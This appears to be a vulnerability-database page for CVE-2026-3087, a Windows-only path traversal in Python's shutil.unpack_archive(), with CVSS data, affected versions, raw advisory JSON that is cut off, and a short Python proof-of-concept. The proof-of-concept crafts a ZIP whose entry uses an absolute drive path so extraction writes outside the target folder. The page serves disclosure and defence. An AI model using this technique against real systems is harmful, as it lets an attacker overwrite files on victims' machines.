Security Vulnerability Report
中文
CVE-2026-3087 CVSS 7.5 HIGH

CVE-2026-3087

Published: 2026-04-27 21:16:42
Last Modified: 2026-05-13 16:27:11

Description

If `shutil.unpack_archive()` is given a ZIP archive with an absolute Windows path containing a drive (`C:\\...`) then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha_1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha_2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha_3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha_4:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Python (Windows平台受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import shutil import os # Create a malicious ZIP file containing a file with an absolute path malicious_zip = "exploit.zip" evil_file_content = b"This file was written outside the extraction directory." # The ZipInfo filename uses an absolute Windows path (C:\evil.txt) # This bypasses the relative path check in vulnerable versions zip_info = zipfile.ZipInfo(filename="C:\\evil.txt") with zipfile.ZipFile(malicious_zip, mode="w") as zf: zf.writestr(zip_info, evil_file_content) print(f"Created malicious zip: {malicious_zip}") # Simulate the victim extracting the file extract_to = "./safe_folder" os.makedirs(extract_to, exist_ok=True) print(f"Extracting to: {extract_to}") # In vulnerable versions, this will write to C:\evil.txt instead of ./safe_folder/C:\evil.txt shutil.unpack_archive(malicious_zip, extract_to) print("Extraction complete. Check C:\\evil.txt.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3087", "sourceIdentifier": "[email protected]", "published": "2026-04-27T21:16:42.480", "lastModified": "2026-05-13T16:27:11.110", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "If `shutil.unpack_archive()` is given a ZIP archive with an absolute Windows path containing a drive (`C:\\\\...`) then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.14.4", "matchCriteriaId": "8DA90507-80E6-4412-BBC7-F4D17DF6BCD7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_1:*:*:*:*:*:*", "matchCriteriaId": "67228DC0-D765-4649-B6E8-8F7EBAEB7EF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_2:*:*:*:*:*:*", "matchCriteriaId": "E07CF00F-81B2-4087-8172-740BBE714D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_3:*:*:*:*:*:*", "matchCriteriaId": "A68837E3-120B-4FC9-8611-563BA23598E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_4:*:*:*:*:*:*", "matchCriteriaId": "D2E5A37B-6D9D-467A-9CD8-7F4AFE4A6B26"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_5:*:*:*:*:*:*", "matchCriteriaId": "05FF8695-A420-4982-950C-DF2CCCE2EBC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_6:*:*:*:*:*:*", "matchCriteriaId": "314BD287-7F00-4FDB-AA67-9EED169748CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_7:*:*:*:*:*:*", "matchCriteriaId": "E080178C-1CC3-4E11-B6D4-A74D67158F98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_8:*:*:*:*:*:*", "matchCriteriaId": "29E9A3EE-AE9B-4F96-8D93-3E7F1C144ADB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/python/cpython/commit/ab5ef98af693bded74a738570e81ea70abef2840", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/b01e594fbe754a960212f908d047294e880b52fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/fc829e88753858c8ac669594bf0093f44948c0f4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/issues/146581", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/python/cpython/pull/146591", "source": "[email protected]", "tags" ... (truncated)